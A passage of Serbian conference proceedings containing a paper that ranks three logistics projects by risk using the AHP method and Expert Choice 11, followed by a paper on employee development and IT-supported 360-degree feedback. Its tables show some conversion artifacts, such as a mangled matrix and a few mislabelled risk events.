AHP je napredna metodologija višekriterijumske analize, koja je strukturirana od strane Tomasa Satija. Ona omogućava analizu hijerarhijski uređenih elemenata odlučivanja. AHP razlaže složeni problem u hijerarhiju, gde je cilj na vrhu, a kriterijumi i alternative na nižim nivoima. Pored toga, postoje i hijerarhije sa potkriterijumima. Međusobnim poređenjem u odnosu na viši cilj vrši se rangiranje kriterijuma, a zatim se na isti način vrednuju alternative i rangiraju međusobnim poređenjem u odnosu na svaki od kriterijuma na višem nivou hijerarhije [6].

Proces realizacije AHP metode obuhvata četiri osnovne faze: [5]

- Strukturiranje problema;
- Prikupljanje podataka;
- Ocenjivanje relativnih težina;
- Određivanje rešenja problema.

Početna faza realizacije AHP metode podrazumeva strukturiranje problema. U cilju strukturiranja problema, potrebno je definisati rizične događaje i broj projekata koji se upoređuju. U ovom slučaju, biće rangirano tri projekata na osnovu deset kriterijuma. Struktura problema odlučivanja prikazana je na Slici 1.



Slika 1. Hijerarhijska struktura problema odlučivanja

Druga faza primene AHP metode u rangiranju logističkih projekata na osnovu rizika podrazumeva prikupljanje podataka. Podaci o problemu odlučivanja prikupljeni su od relevantnih osoba za rangiranje projekata na osnovu rizika.

Sledeća faza je faza ocenjivanja relativnih težina. Naime, u ovoj fazi biće izvršeno međusobno upoređivanje rizičnih događaja i određivanje težinskih koeficijenata, ali i upoređivanje projekata na osnovu svakog rizičnog događaja ponaosob. Ocenjivanje će biti izvršeno od strane menadžera logistike i menadžera upravljanja rizikom.

Poslednja faza podrazumeva određivanje rešenja problema. U ovoj fazi biće izvršeno rangiranje razmatranih logističkih projekata na osnovu definisanih rizičnih događaja.

5. REZULTATI I DISKUSIJA

Kompanija koja se bavi distributerstvom planira da izvrši rangiranje logističkih projekata na osnovu rizika. Na osnovu mišljenja stručnih lica iz preduzeća, najveći uticaj na rezultate preduzeća imaju tri logistička projekta. U skladu sa tim, pomenuti logistički projekti ući će u završnu fazu rangiranja. Prilikom rangiranja projekata na osnovu rizika, potrebno je postojanje određenih rizičnih događaja na osnovu kojih se vrši upoređivanje alternativa.

U cilju definisanja kriterijuma, kontaktirani su stručnjaci iz organizacije, uzeta iskustva kompanija slične delatnosti i pretražena naučna literatura. Iz pomenutih izvora preuzet je veliki broj kriterijuma.

Nakon toga, organizovan je sastanak na kome je izvršeno ocenjivanje rizičnih događaja logističkih projekata. Deset najbolje ocenjenih rizičnih događaja prikazani su u Tabeli 1.

Obeležje	Rizični događaj
R ₁	Iznenadne promene u planu proizvodnje (pogrešna procena funkcije marketinga i prodaje, izraženo povećanje robe na zalihama)
R_2	Kvarovi tehničkih sredstava (kvar sredstava unutrašnjeg transporta)
R ₃	Iznenadno povećanje potražnje (prenapregnutost logističkog sistema usled angažovanja dodatnih ljudskih i tehničkih resursa)
R ₄	Loša komunikacija (nekontrolisana komunikacija, ključne interesne grupe nisu upoznate sa napredovanjem logističkog projekta)
R ₅	Nezadovoljenje očekivanja od strane dobavljača (isporučeni materijal nije odgovarajućeg kvaliteta, kašnjenje u isporuci materijala)
R ₆	Prekoračenje utroška finansijskih sredstava (troškovi projekta premašuju dodeljena sredstva)
R ₇	Nedostatak vremena (prekratak vremenski rok izvršenja logističkih aktivnosti)
R ₈	Loše marketinške procene (predimenzionirano predviđanje buduće prodaje, pogrešna procena po pitanju prodaje inoviranih proizvoda)
R ₉	Resursni rizik (nekvalifikovano osoblje, nedostatak opreme i neophodnog materijala)
R ₁₀	Promene na tržištu (inflacija, deflacija, promena kursa)
m 1 1	

Tabela 1. Rizični događaji logističkih projekata

Nivo 1

Početni korak u rangiranju logističkih projekata na osnovu rizika jeste utvrđivanje težinskih koeficijenata rizičnih događaja. U tu svrhu, menadžeri logistike i menadžeri upravljanja rizika u preduzeću ocenili su jačinu i uticaj rizičnih događaja. Ocenjivanje rizičnih događaja izvršeno je na osnovu devetostepene Satijeve skale i prikazano u Tabeli 2.

Konačni prioritet za Nivo 1: $R_8 (0,2884)$; $R_1 (0,2102)$; $R_6 (0,1517)$; $R_4 (0,1096)$; $R_7 (0,0789)$; $R_9 (0,0566)$; $R_5 (0,0402)$; $R_7 (0,0289)$; $R_3 (0,0202)$; $R_{10} (0,0154)$.

Nivo 2

Posle ocenjivanja važnosti i određivanja težinskih koeficijenata rizičnih događaja, menadžeri logistike, ali i menadžeri upravljanja rizika, vrše ocenjivanje logističkih projekata na osnovu svakog razmatranog rizičnog događaja.

Rizični događaj R ₁	P ₁	P ₂	P ₃	Σ	Rang
P ₁	0,2857	0,3333	0,2732	0,8923	0,2974
P ₂	0,1429	0,1667	0,1803	0,4899	0,1633
P ₃	0,5714	0,5000	0,5464	1,6179	0,5393

Tabela 3. Određivanje normalizovanog sopstvenog vektora na osnovu rizičnog događaja R,

Konačni prioritet za rizični događaj R₁: P₃ (0,5393); P₁ (0,2974); P₂ (0,1633).

Rizični događaj R ₂	P ₁	P ₂	P ₃	Σ	Rang
P ₁	0,3003	0,2857	0,3750	0,9610	0,3203
P ₂	0,6006	0,5714	0,5000	1,6720	0,5573
P ₃	0,0991	0,1429	0,1250	0,3670	0,1223

Tabela 4. Određivanje normalizovanog sopstvenog vektora na osnovu rizičnog događaja R₂

Konačni prioritet za rizični događaj R₂: P₂ (0,5573); P₁ (0,3203); P₃ (0,1223).

Rizični događaj R ₃	P ₁	P ₂	P ₃	Σ	Rang
P ₁	0,6536	0,5556	0,6928	1,9020	0,6340
P_2	0,1307	0,1111	0,0762	0,3180	0,1060
P ₃	0,2157	0,3333	0,2309	0,7800	0,2600

Tabela 5. Određivanje normalizovanog sopstvenog vektora na osnovu rizičnog događaja R₃

Konačni prioritet za rizični događaj R_3 : P_1 (0,6340); P_3 (0,2600); P_2 (0,1060).

Rizični događaj R ₄	P ₁	P ₂	P ₃	Σ	Rang
P_1	0,5464	0,5000	0,5714	1,6179	0,5393
P ₂	0,1803	0,1667	0,1429	0,4899	0,1633
P ₃	0,2732	0,3333	0,2857	0,8923	0,2974

Tabela 6. Određivanje normalizovanog sopstvenog vektora na osnovu rizičnog događaja R_4

Konačni prioritet za rizični događaj R_4 : P_1 (0,5393); P_3 (0,2974); P_2 (0,1633).

Rizični događaj R ₅	P ₁	P ₂	P ₃	Σ	Rang
P_1	0,1667	0,1803	0,1429	0,4899	0,1633
P ₂	0,5000	0,5464	0,5714	1,6179	0,5393
P ₃	0,3333	0,2732	0,2857	0,8923	0,2974

Tabela 7. Određivanje normalizovanog sopstvenog vektora na osnovu rizičnog događaja R₅

Konačni prioritet za rizični događaj R_5 : P_2 (0,5393); P_3 (0,2974); P_1 (0,1633).

Rizični događaj R ₆	P ₁	P ₂	P ₃	Σ	Rang
P ₁	0,7042	0,8000	0,5714	2,0757	0,6919
P ₂	0,1197	0,1333	0,2857	0,5388	0,1796
P ₃	0,1761	0,0667	0,1429	0,3856	0,1285

Tabela 8. Određivanje normalizovanog sopstvenog vektora na osnovu rizičnog događaja R₆



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Rang	0,2102	0,0289	0,0202	0,1096	0,0402	0,1517	0,0789	0,2884	0,0566	0,0152
Σ	2,1015	0,2892	0,2024	1,0955	0,4015	1,5167	0,7891	2,8835	0,5662	0,1542
${ m R}_{ m 10}$	0,1667	0,0556	0,0370	0,1296	0,0741	0,1481	0,1111	0,1667	0,0926	0,0185
${ m R}_9$	0,2244	0,0148	0,0112	0,1346	0,0224	0,1795	0,0898	0,2693	0,0449	0600'0
${ m R}_{ m s}$	0,1706	0,0410	0,0375	0,0853	0,0478	0,1126	0,0683	0,3413	0,0580	0,0375
\mathbf{R}_{7}	0,2432	0,0152	0,0122	0,1216	0,0201	0,1824	0,0608	0,3040	0,0304	0,0103
R	0,2594	0,0220	0,0182	0,0649	0,0259	0,1297	0,0428	0,3891	0,0324	0,0156
\mathbb{R}_5	0,2063	0,0172	0,0113	0,1376	0,0344	0,1719	0,1032	0,2407	0,0688	0,0086
\mathbb{R}_4	0,2588	0,0173	0,0147	0,0863	0,0216	0,1726	0,0431	0,3451	0,0285	0,0121
\mathbb{R}_3	0,1758	0,0440	0,0220	0,1319	0,0659	0,1538	0,1099	0,1978	0,0879	0,0110
\mathbb{R}_2	0,1901	0,0272	0,0136	0,1358	0,0543	0,1629	0,1086	0,2172	0,0815	0,0090
$\mathbb{R}_{_{1}}$	0,2062	0,0351	0,0247	0,0680	0,0351	0,1031	0,0515	0,4124	0,0412	0,0227
	R	\mathbb{R}_2	\mathbb{R}_{3}	${ m R_4}$	\mathbb{R}_{5}	${ m R_6}$	${f R}_\gamma$	${ m R}_{ m s}$	\mathbb{R}_9	${ m R}_{ m _{10}}$

Konačni prioritet za rizični događaj R₆: P₁ (0,6919); P₂ (0,1796); P₃ (0,1285).

Rizični događaj R ₇	P ₁	P ₂	P ₃	Σ	Rang
P ₁	0,1667	0,1429	0,1803	0,4899	0,1633
P ₂	0,3333	0,2857	0,2732	0,8923	0,2974
P ₃	0,5000	0,5714	0,5464	1,6179	0,5393

Tabela 9. Određivanje normalizovanog sopstvenog vektora na osnovu rizičnog događaja R₂

Konačni prioritet za rizični događaj R_7 : P_3 (0,5393); P_2 (0,2974); P_1 (0,1633).

Rizični događaj R ₈	P ₁	P ₂	P ₃	Σ	Rang
P ₁	0,6536	0,5556	0,6928	1,9020	0,6340
P ₂	0,1307	0,1111	0,0762	0,3180	0,1060
P ₃	0,2157	0,3333	0,2309	0,7800	0,2600

Tabela 10. Određivanje normalizovanog sopstvenog vektora na osnovu rizičnog događaja R_o

Konačni prioritet za rizični događaj R₈: P₁ (0,6340); P₃ (0,2600); P₂ (0,1060).

-					
Rizični događaj R ₉	P ₁	P ₂	P ₃	Σ	Rang
P ₁	0,2857	0,2732	0,3333	0,8923	0,2974
P ₂	0,5714	0,5464	0,5000	1,6179	0,5393
P ₃	0,1429	0,1803	0,1667	0,4899	0,1633

Tabela 11. Određivanje normalizovanog sopstvenog vektora na osnovu rizičnog događaja R₉

Konačni prioritet za rizični događaj R_9 : P_2 (0,5393); P_1 (0,2974); P_3 (0,1633).

Rizični događaj R ₉	P ₁	P ₂	P ₃	Σ	Rang
P ₁	0,5464	0,5714	0,5000	1,6179	0,5393
P ₂	0,2732	0,2857	0,3333	0,8923	0,2974
P ₃	0,1803	0,1429	0,1667	0,4899	0,1633

Tabela 12. Određivanje normalizovanog sopstvenog vektora na osnovu rizičnog događaja R₁₀

Konačni prioritet za rizični događaj R_{10} : P_1 (0,5393); P_2 (0,2974); P_3 (0,1633).

Nivo 3

Poslednji korak u rangiranju logističkih projekata primenom AHP metode podrazumeva upoređivanje logističkih projekata na osnovu svih razmatranih rizičnih događaja. Sinteza problema rangiranja projekata jednaka je zbiru proizvoda težina u okviru posmatranog rizičnog događaja:

Logistički projekat P1

 $T_{P1} = R_1 * R_1 P_1 + R_2 * R_2 P_1 + R_3 * R_3 P_1 + R_4 * R_4 P_1 + R_5 * R_5 P_1 + R_6 * R_6 P_1$ (1) + $R_7 * R_7 P_1 + R_8 * R_8 P_1 + R_9 * R_9 P_1 + R_{10} * R_{10} P_1$

$$\begin{split} T_{_{P1}} = 0,2102*0,2974+0,0289*0,3203+0,0202*0,6340+0,1096*0,5393+0,0402*0,1633+0,1517*0,6919+0,0789*0,1633+0,28\\84*0,6340+0,0566*0,2974+0,0154*0,5393=0,4760 \end{split}$$

Logistički projekat P₂

$$T_{P2} = R_1 * R_1 P_2 + R_2 * R_2 P_2 + R_3 * R_3 P_2 + R_4 * R_4 P_2 + R_5 * R_5 P_2 + R_6 * R_6 P_2 + R_7 * R_7 P_2 + R_8 * R_8 P_2 + R_9 * R_9 P_2 + R_{10} * R_{10} P_2$$
(2)

$$\begin{split} T_{\scriptscriptstyle P2} &= 0,2102*0,1633+0,0289*0,5573+0,0202*0,1060+0,1096*\\ 0,1633+0,0402*0,5393+0,1517*0,1796+0,0789*0,2974+0,28\\ 84*0,1060+0,0566*0,5393+0,0154*0,2974=0,2085 \end{split}$$

Logistički projekat P₃

 $T_{P3} = R_1 * R_1 P_3 + R_2 * R_2 P_3 + R_3 * R_3 P_3 + R_4 * R_4 P_3 + R_5 * R_5 P_3 + R_6 * R_6 P_3$ (3) + $R_7 * R_7 P_3 + R_8 * R_8 P_3 + R_9 * R_9 P_3 + R_{10} * R_{10} P_3$

$$\begin{split} T_{P3} &= 0,2102*0,5393+0,0289*0,1223+0,0202*0,2600+0,1096*\\ 0,2974+0,0402*0,2974+0,1517*0,1285+0,0789*0,5393+0,28\\ 84*0,2600+0,0566*0,1633+0,0154*0,1633=0,3154 \end{split}$$

Ukupni rang logističkih projekata u odnosu na globalni cilj je: P_1 (0,4760); P_3 (0,3154); P_2 (0,2085). Sveobuhvatna sinteza rangiranja logističkih projekata može biti prikazana kao:

$$T_{P1} > T_{P3} > T_{P2} \tag{4}$$

Savremeno doba je doba informacionih tehnologija. U cilju uspešnog poslovanja na turbulentnom tržištu, privredni subjekti u svom poslovanju moraju da koriste razne softvere i informacione alate za poboljšanje efikasnosti i efektivnosti preduzeća radi ostvarenja profita. U skladu sa tim, rangiranje logističkih projekata na osnovu rizika izvršeno je i softverskim alatom Expert Choice 11.

Rezultati istraživanja prikazani su na Slici 2.



Slika 2. Rezultati istraživanja primenom Expert Choice-a

Analiza logističkih projekata na osnovu rizika potvrdila je rezultate klasične primene AHP metode. Ukupni rang razmatranih logističkih projekata na osnovu obima i veličine rizika primenom softverskog paketa Expert Choice moguće je prikazati kao: P_1 (0,4760); P_3 (0,3154); P_2 (0,2085).

6. ZAKLJUČAK

Istraživački deo ovog rada prikazuje rangiranje logističkih projekata na osnovu rizika. U radu su analizirana tri logistička projekta koja imaju najveću važnost u preduzeću na osnovu 10 mogućih rizičnih događaja.

Najvažniji rizični događaj u analiziranom privrednom subjektu je rizični događaj R₈ – loše marketinške procene sa ocenom 0,2884. Sa druge strane, rizični događaj sa najmanjim uticajem je rizični događaj R₁₀ – promene na tržištu sa ocenom 0,0154.

Na osnovu rizičnog događaja iznenadne promene u planu proizvodnje, najbolja opcija, tj. opcija sa najmanjim mogućim rizikom je logistički projekat P_3 . Sa druge strane, analiza alternativa na osnovu rizičnog događaja kvarovi tehničkih sredstava pokazala je da je projekat sa najmanjom šansom za kvar tehničkih sredstava logistički projekat P_2 . Analiza rizičnog događaja iznenadno povećanje potražnje pokazuje da je najmanje rizičan logistički projekat P1. Pored toga, u pogledu loše komunikacije najmanja šansa za rizik zabeležena je kod logističkog projekta P1. Dobavljači kod logističkog projekta P2 ocenjeni su kao najstabilniji, te je rizik kod ovog projekta u pogledu nezadovoljenja očekivanja od strane dobavljača, u poređenju sa drugim logističkim projektima, na najnižem nivou. Najpovoljniji logistički projekat sa aspekta rizičnog događaja prekoračenje utroška finansijskih sredstava je projekat P1, dok je sa aspekta rizičnog događaja nedostatak vremena najmanji rizik zabeležen kod logističkog projekta P₃. Sa aspekta rizičnog događaja loše marketinške procene, koji je ocenjen kao najuticajniji rizični događaj na preduzeće, najpovoljniji je logistički projekat P₁. Logistički projekat P₂ je najpovoljniji u pogledu rizičnog događaja resursni rizik. Sa druge strane, najmanji uticaj promene na tržištu imaju na logistički projekat P₁.

Završni korak AHP metode podrazumeva rangiranje logističkih projekata na osnovu rizika, sagledavajući sve rizične događaje. Rezultati su pokazali da je najmanje rizičan logistički projekat P_1 sa ocenom 0,4760, više je rizičan logistički projekat P_3 sa ocenom 0,3154, dok je najrizičniji logistički projekat P_2 sa ocenom 0,2085.

Informacione tehnologije predstavljaju osnovu poslovanja uspešnih preduzeća. Radi efikasnije analize i rangiranja logističkih projekata na osnovu rizika, korišćen je softverski paket Expert Choice.

Primena softvera potvrdila je rezultate istraživanja i u velikoj meri unapredila poslovanje preduzeća davanjem efikasne osnove za uspešno upravljanje rizicima logističkih projekata, kako bi se isti izvršili na efektivan način i doprineli dostizanju kompanijskih ciljeva.

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THE USAGE OF THE AHP METHODOLOGY FOR THE RISK-BASED RANKING OF LOGISTICS-RELATED PROJECTS

Abstract:

Modern business conditions include strong competition. Accordingly, to succeed in a turbulent market it is necessary to perform tasks better and more effectively than the competition. Logistics is one of the most important of the continent which is largely dependent on the success of certain companies in the market. Logistic projects represent a modern tool for performing logistics activities. These projects are often very numerous and require adequate management. The big problem in the management of logistics projects are risks. The subject of the research work is reflected in the ranking of logistics projects on the basis of risk using the AHP method and software package Expert Choice 11th. The aim of the research involves the ranking of logistics projects based on defined risk events, determining the level of risk in global logistics projects and ranked on the basis of the same.

Keywords:

risk, project logistics, management, AHP method, software Expert Choice 11.



RAZVOJ ZAPOSLENIH: ULOGA IT U 360° POVRATNIM INFORMACIJAMA

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Rezime:

Ako je u ekonomiji znanja osnov konkurentske prednosti znanje zaposlenih, onda je i imperativ savremenog načina poslovanja omogućiti konstantan razvoj zaposlenih. Predmet ovog rada je razmatranje značaja razvoja zaposlenih, kao i analiza ključnih trendova koji se javljaju u ovoj oblasti. Posebna pažnja biće posvećena i ulozi koju sistem povratne informacije ima u razvoju zaposlenih, kao i načinu poboljšanja efikasnosti ovog sistema upotrebom informacionih tehnologija.

Ključne reči:

razvoj zaposlenih, razvoj lidera, trendovi, povratna informacija.

1. UVOD

U uslovima savremenog poslovnog okruženja, kada su promene zapravo jedina izvesnost i kada osnov konkurentske prednosti predstavlja znanje, uloga razvoja zaposlenih i menadžera sve je veća i budi sve veću pažnju, kako teoretičara, tako i praktičara ove oblasti. O promenama kao ključnom faktoru uticaja na način i dinamiku poslovanja svedoče i brojna istraživanja rađena na navedenu temu. Prema istraživanju renomirane agencije Economist Intelligence Unit, organizacije pokreću više ključnih promena nego ikada pre; prosečno tri do pet godišnje. Na osnovu istraživanja The Corporate Executive Board, globalno posmatrano, polovinu zaposlenih očekuju velike promene u narednih šest meseci. Istraživanje Forum global survey sprovedeno među 700 lidera pokazuje da 72% lidera primećuje visoka ili ekstremno visoka povećanja neizvesnosti u svojim kompanijama. Na kraju, pomenućemo i istraživanje IBM's Global Chief Executive Officer Study, čiji rezultati pokazuju da 79% lidera smatra da će stepen neizvesnosti i složenosti biti još veći, dok manje od polovine ispitanih lidera smatra da su spremni da njima upravljaju [1].

Kao ključna pitanja u razmatranju fenomena razvoja zaposlenih kao odgovora na zahteve promenjivog poslovnog okruženja nameću se pitanja pravog odabira metoda i alata koji će razvojem intelektualnog kapitala jedne organizacije dovesti do stvaranja dodate vrednosti, kao i predviđanja i blagovremenog uključivanja u odgovarajuće trendove koji se, možemo slobodno reći, smenjuju na dnevnoj osnovi. Ako je učenje imperativ današnje tržišne utakmice i ako podrazumeva ne samo učenje, već i primenu naučenog, naravno, brže od konkurencije, onda je opravdano razvoj zaposlenih smatrati faktorom koji će uspešnu organizaciju razlikovati od one koja to nije. Razvoj zaposlenih je važna komponenta u organizacionim naporima da poboljša kvalitet poslovnih procesa, izađe u susret globalnoj konkurenciji i društvenim promenama, da inkorporira tehnološke promene u dizajn radnog okruženja i samog posla, kao i da na pravi način razvija upravljanje svojim talentima.

2. RAZVOJ ZAPOSLENIH I LIDERA

Pod razvojem zaposlenih podrazumevamo mnogo više od programa obuke, što je najčešća asocijacija u vezi sa ovim pojmom. Razvoj zaposlenih i menadžera najčešće je povezan sa organizacionom vizijom, misijom, ciljevima i vrednostima i direktno je zaslužan za poslovne rezultate organizacije, zadržavanje zaposlenih u njoj kao deo šireg, talentovanog tima. Razvoj zaposlenih odnosi se na formalno obrazovanje, radno iskustvo, odnose i veze i procenu ličnosti i sposobnosti koje pomažu da zaposleni efikasno posluju u svom trenutnom ili budućem poslu ili organizaciji [2].

Kako je razvoj orijentisan ka budućnosti, on uključuje učenje koje nužno ne mora biti u direktnoj vezi sa trenutnim poslom koji zaposleni obavlja. U tom smislu, između treninga i obuke, s jedne, i razvoja zaposlenih, sa druge strane, postoje i sličnosti i razlike. Dok je obuka usmerena na pomoć zaposlenima u postizanju boljih performansi na trenutnom poslu, razvoj zaposlenih ima za cilj njihovu pripremu za neke druge, možda i više pozicije u organizaciji, poslove koji možda još uvek ne postoje, ili za promene u poslu koje nastaju usled novih tehnologija, novog dizajna posla ili zahteva tržišta.

Postoji četiri osnovna pristupa u razvoju zaposlenih, mada veliki broj organizacija koristi njihovu kombinaciju [3]:

- Formalna edukacija uključuje programe dizajnirane posebno za potrebe organizacije, kratke kurseve i predavanja konsultanata i univerzitetskih profesora ili MBA programe;
- Procena uključuje prikupljanje informacija i pružanje povratne informacije zaposlenima o njihovom ponašanju, komunikacionom stilu, vrednostima ili veštinama;
- Radno iskustvo odnosi se na zahteve, zadatke ili druge aktivnosti sa kojima se zaposleni susreću na poslu. Glavna pretpostavka je, kada se radno iskustvo koristi kao osnova razvoja zaposlenih,

da se potreba za razvojem javlja kada postoji nesklad između veština i znanja zaposlenih i dosadašnjeg iskustva, sa jedne, i veština potrebnih za obavljanje posla, sa druge strane;

 Interpersonalne veze – veze sa ostalim, iskusnijim, članovima organizacije koje služe razvoju veština i znanja zaposlenih o organizaciji i njenim klijentima.

Prema zapažanju nekih autora [4], u teoriji i praksi se razvoj zaposlenih, a posebno menadžera i lidera, poistovećuje sa horizontalnim razvojem koji podrazumeva razvoj novih veština, sposobnosti i ponašanja kada se javi potreba za njima. Pod ovom vrstom razvoja podrazumeva se učenje koje rezultira sticanjem tehničkih veština i znanja. Ova vrsta znanja korisna je kada je problem jasno definisan i kada postoje poznate tehnike za njegovo rešavanje, te ih je potrebno savladati. U ovom slučaju postoje jasni odgovori koji mogu da budu kodifikovani i prenose se iz stručnih izvora na zaposlene kojima je to znanje potrebno. Za razliku od horizontalnog, danas akcenat treba da bude na vertikalnom razvoju. Ova vrsta razvoja odnosi se na "faze" do kojih ljudi napreduju u načinu na koji daju smisao svetu oko njih. Iako je pretpostavka da odrasli prestaju sa kognitivnim razvojem sa oko 20 godina, razvojni istraživači smatraju da odrasli nastavljaju sa progresom kroz dalje faze mentalnog razvoja. Ovo se posebno odnosi na tzv. kristalizovanu inteligenciju, koja u fokusu ima iskustvo, mudrost i razmišljanje van okvira. Važnost vertikalnog razvoja je u sledećem: viši stepen vertikalnog razvoja odgovara većem stepenu složenosti problema sa kojima se zaposleni svakodnevno susreću; mogućnost složenog i kritičkog razmišljanja; postavljanje pravca razvoja za same zaposlene, ali i organizaciju u celini; umrežavanje, i naravno, saradnja i timski rad.

Iz svega navedenog se kao nužnost nameće obaveza kombinovanja horizontalnog i vertikalnog razvoja, što je najbolje rešenje za savremene organizacije.

3. TRENDOVI U RAZVOJU

S obzirom na stepen promenjivosti i neizvesnosti na današnjem tržištu ekonomije znanja, iskristalisali su se izvesni trendovi u razvoju pojedinaca, od kojih se neki odnose na zaposlene, neki na lidere, a neki i na zaposlene i na lidere. Važnost izučavanja trendova je u tome što omogućavaju blagovremeno reagovanje na promene koje se dešavaju i koje zahtevaju uvek novi i proaktivniji način donošenja odluka koji će biti ne samo reakcija na promene, već i način na koji se promene izazivaju u organizaciji i njenom okruženju.

Navodimo ključne trendove:

- Fokus na vertikalnom razvoju je neminovnost, kao što smo ranije objasnili u radu, naravno, uz kombinaciju sa adekvatnim horizontalnim razvojem;
- Vlasništvo nad sopstvenim razvojem nužno je zato što se ljudi brže razvijaju kada se osećaju odgovornim za sopstveni razvoj, tj. kada nemaju osećaj da je njihov razvoj zaduženje nekih drugih ljudi (npr. menadžera ljudskih resursa ili trenera);
- Inovativnije metode razvoja treba da prate proaktivnost samog razvoja zaposlenih i menadžera, tako da se često naglašavaju metode poput koučinga ili mentoringa;
- Naglasak na kolektivnom liderstvu [5] neophodan je zato što je u razvoju liderstva došlo do promene paradigme iz tačke u kojoj je lider osoba ili pojedinac, u tačku u kojoj se liderstvo smatra kolektivnim procesom koji se širi kroz mrežu ljudi;
- Pomeranjem težišta sa razvoja veština (eng. skill set) na drugačiji način razmišljanja (eng. mind set) zapravo se ponovo vraćamo na već pomenuti fokus na vertikalni razvoj zaposlenih i rukovodilaca. Sa ovim trendom u vezi je i trend da se govori o razvoju, a ne treningu zaposlenih i rukovodilaca [6], kao i trend da se razvoj nužno mora posmatrati kao proces, a ne kao događaj [7];
- Multikulturalni razvoj zaposlenih javlja se kao posledica globalizacije i neophodnosti upravljanja različitostima u uslovima savremene ekonomije znanja;
- Razvoj zaposlenih kao misija organizacija (DDO, Deliberately Developmental Organizations) [8];
- Razvoju budućih generacija rukovodilaca neophodno je posvetiti pažnju, posebno kroz pitanje blagovremenog planiranja sukcesije. Naravno, tu je i pitanje pripadnika mlađih generacija koji dolaze na pozicije menadžera i lidera, tj. njihovih vrednosti, verovanja i načina razmišljanja koji još uvek predstavljaju nepoznanicu i predmet su interesovanja teoretičara i praktičara ove oblasti.

4. POVRATNA INFORMACIJA O RAZVOJU

Imajući u vidu već pomenutu potrebu za uvođenjem inovativnih i proaktivnih metoda u razvoj zaposlenih i razvoj menadžera, u praksi se iskristalisalo nekoliko metoda razvoja koje daju najbolje rezultate, a među njima posebno naglašavamo koučing, mentorstvo, menadžment pomoću ciljeva (MBO, Management by objectives), plan ličnog razvoja, lider kao učitelj, menadžerske igre, učenje Just-in-time, akcioni projekti i učenje u vezi sa poslom, podrška u poslu (wikis npr.), podrška uprave i menadžmenta sa diskusijom pre i posle učenja, timski pristup rešavanju problema [9].

Bez obzira na odabranu metodu razvoja, glavnu ulogu u samom procesu razvoja zaposlenih i menadžera svakako ima evaluacija, praćenje rezultata o napretku, tj. povratna informacija. Svakako najpoznatija metoda koja se koristi sa ovim ciljem danas je Povratna informacija 360° (360 degree feedback). Kod ove metode ponašanje, veštine ili uspešnost ostvarivanja ciljeva u ličnom razvoju zaposlenog ili menadžera procenjuje se i meri prikupljanjem informacija iz više izvora - samoprocena, nadređeni, podređeni, kolega, često i od klijenata. Ocenjivači popunjavaju upitnik koji rangira osobu po osnovu više zadatih dimenzija. Dobijeni rezultati mogu ukazati na razliku u ocenjivanju postavljenih rezultata od strane samog ispitanika, a u odnosu na to kako pojedinca vide drugi. Na taj način, ova aktivnost je osnova za planiranje razvoja. Prva faza u proceni jeste da se utvrde snage i slabosti pojedinca/zaposlenog ili menadžera u pogledu veština, i to tako što se porede rezultati samoprocene i rezultati ostalih ocenjivača kako bi se identifikovale oblasti slaganja ili neslaganja. Druga faza je definisanje oblasti koju je potrebno razvijati, a treća određivanje načina ostvarenja progresa u skladu sa postavljenim ciljevima. Finalni korak je određivanje konkretnih strategija za postizanje ciljeva (identifikovanje specifičnih aktivnosti, određivanje izvora budućih povratnih informacija o postignutom napretku i iznalaženje volje i motivacije za postizanje cilja) [10].

Nekoliko studija je pokazalo da je, kao rezultat pravovremene i valjane povratne informacije, dolazilo da razvoja zaposlenih. Najveće promene nastajale su kod pojedinaca koji su bili niže rangirani od strane drugih nego što su oni sebe rangirali.

Da bi sistem Povratne informacije 360° bio efikasan, potrebno je da postoje sledeći preduslovi: obezbeđivanje pružanja pouzdanih i relevantnih ocena, povratne informacije treba da budu u vezi sa samim procesom i oblastima razvoja, sistem mora biti jednostavan, razumljiv za korišćenje i treba da dovede do razvoja zaposlenog ili menadžera.

5. IT I SISTEM POVRATNIH INFORMACIJA

Već pomenuta efikasnost sistema pružanja povratnih informacija nameće i zahtev blagovremenih i pravovremenih informacija. S obzirom na sve veće ubrzanje u



tržišnoj utakmici, ovaj zahtev ponekad nije ispunjen. Kako tehnologija ima veliku ulogu u popunjavanju ovog jaza, za očekivati je i da se sam proces povratne informacije može učiniti efikasnijim uz njenu upotrebu. Najveće prednosti korišćenja sistema Povratne informacije 360° zasnovanog na informacionim tehnologijama je u sledećem [11]:

- Ohrabruje interakciju između svih uključenih aktera;
- Dobijanje prave informacije u pravom trenutku;
- Omogućava zaposlenima da slobodno i bezbedno podele svoja razmišljanja i ocene;
- Pokazuje spremnost organizacije ne samo da proklamuje promene, već i da ih stvara. Tehnologija je uvek pravo rešenje za to;
- Odabir prave IT metode učiniće čitav proces efikasnim, ali uz stalno naglašavanje ključnog značaja čoveka za organizaciju;
- Povećanje produktivnosti;
- Razvoj zaposlenih i menadžera kao proces, ne kao događaj;
- Razvoj organizacije.

Radi ilustracije, u nastavku ćemo prikazati jedan od IT sistema (Qualtrics 360) namenjenih povratnim informacijama i razvoju zaposlenih koji, pre svega, nudi intuitivan interfejs koji omogućava prilagođavanje zahtevanih izveštaja (Slika 1). Takođe, ovaj sistem omogućava da se u istoj formi izveštaja obuhvate različita pitanja postavljena različitim grupama, što se postiže kako slučajnim odabirom odgovora prilagođenim skalama bodova, fleksibilnim sistemom bodovanja, tako i velikim brojem tipova pitanja. Možda najvažnije je da ovaj sistem omogućava sagledavanje snaga i slabosti ispitanika, koje su ključne za njegov dalji razvoj uz analizu svih raspoloživih podataka na brz i efikasan način, kao i mogućnost poređenja rezultata iz godine u godinu.



Slika 1. Qualtrics 360 – sagledavanje snaga i slabosti Izvor: Qualtrics 360, dostupno na https:// www.qualtrics.com/qualtrics-360/?utm_ medium=cpc&utm_source=capterra&utm_ campaign=360+degree+feedback, preuzeto 27.3.2017.

6. ZAKLJUČAK

Programi razvoja zaposlenih su imperativ svih kompanija koje žele da budu ispred konkurenata. Ne samo da pomažu da se zadrže talentovani zaposleni, stvore lojalni zaposleni, poboljša reputacija kompanije, nego i zahtevaju od menadžera da stalno prate promene u okruženju i razmišljaju o budućnosti, da bi znali kakve promene u delatnosti da očekuju, šta će potrošači tražiti od zaposlenih i kakvi lideri su kompaniji potrebni. Odgovori na ova pitanja uvek su vezani za zaposlene, pa je jasan značaj povratnih informacija koje omogućavaju zaposlenima da dobiju pravovremene i valjane informacije da bi napredovali na ličnu korist, kao i na korist čitave organizacije. Najbolji programi razvoja uključuju upotrebu novih tehnologija zbog njihove efikasnosti i širine upotrebe.

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INTERNATIONAL SCIENTIFIC CONFERENCE ON INFORMATION TECHNOLOGY AND DATA RELATED RESEARCH

SOFTWARE AND INFORMATION ENGINEERING

